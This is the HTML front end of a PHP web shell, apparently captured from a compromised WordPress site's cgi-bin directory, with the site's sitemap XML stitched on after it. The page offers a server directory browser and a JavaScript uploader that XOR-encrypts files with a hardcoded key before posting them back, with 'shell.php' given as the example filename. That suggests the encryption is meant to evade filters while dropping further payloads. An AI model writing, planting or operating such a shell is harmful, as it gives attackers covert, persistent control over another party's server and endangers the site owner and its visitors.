
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>PHP Shell - Encrypted Uploader with Deletion</title>
    <style>
        body { font-family: monospace; background: #f4f4f4; padding: 20px; }
        table { border-collapse: collapse; width: 100%; margin-top: 10px; }
        th, td { padding: 6px; border: 1px solid #ccc; }
        th { background: #eee; }
        input[type="text"] { width: 300px; }
        a.button { padding: 2px 6px; background: #ccc; text-decoration: none; border-radius: 4px; margin-right: 5px; }
        a.button:hover { background: #999; color: white; }
    </style>
</head>
<body>

<h2>Directory: /home/fishcree/public_html/cgi-bin</h2>
<p>
    <a href="?d=/home/fishcree/public_html">Go to Parent Directory</a>
</p>

<table>
    <thead>
        <tr><th>Name</th><th>Type</th><th>Action</th></tr>
    </thead>
    <tbody>
                <tr>
            <td>..</td>
            <td>DIR</td>
            <td>
                                    <a class="button" href="?d=/home/fishcree/public_html">Open</a>
                            </td>
        </tr>
            </tbody>
</table>


<h3>Upload Encrypted File</h3>
<input type="file" id="file"><br><br>
<input type="text" id="filename" placeholder="Remote filename (e.g. shell.php)"><br><br>
<button onclick="upload()">Upload</button>
<pre id="log" style="background:#eee; padding:10px; margin-top:10px;"></pre>

<script>
const key = "myXorSecret";

function xorEncryptBuffer(buffer, key) {
    const out = new Uint8Array(buffer.byteLength);
    const keyBytes = new TextEncoder().encode(key);
    for (let i = 0; i < buffer.byteLength; i++) {
        out[i] = buffer[i] ^ keyBytes[i % keyBytes.length];
    }
    return out;
}

function upload() {
    const fileInput = document.getElementById("file");
    const filenameInput = document.getElementById("filename");
    const file = fileInput.files[0];
    const fn = filenameInput.value.trim();

    if (!file || !fn) return alert("Please select a file and enter a filename.");

    const reader = new FileReader();
    reader.onload = function(e) {
        const buffer = new Uint8Array(e.target.result);
        const encrypted = xorEncryptBuffer(buffer, key);
        const b64 = btoa(String.fromCharCode(...encrypted));

        fetch("", {
            method: "POST",
            headers: { "Content-Type": "application/x-www-form-urlencoded" },
            body: "b64data=" + encodeURIComponent(b64) + "&fn=" + encodeURIComponent(fn)
        }).then(res => res.text()).then(t => {
            document.getElementById("log").innerText = t;
        });
    };
    reader.readAsArrayBuffer(file);
}
</script>

</body>
</html>
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://fishcreekconstruction.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://fishcreekconstruction.com/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>
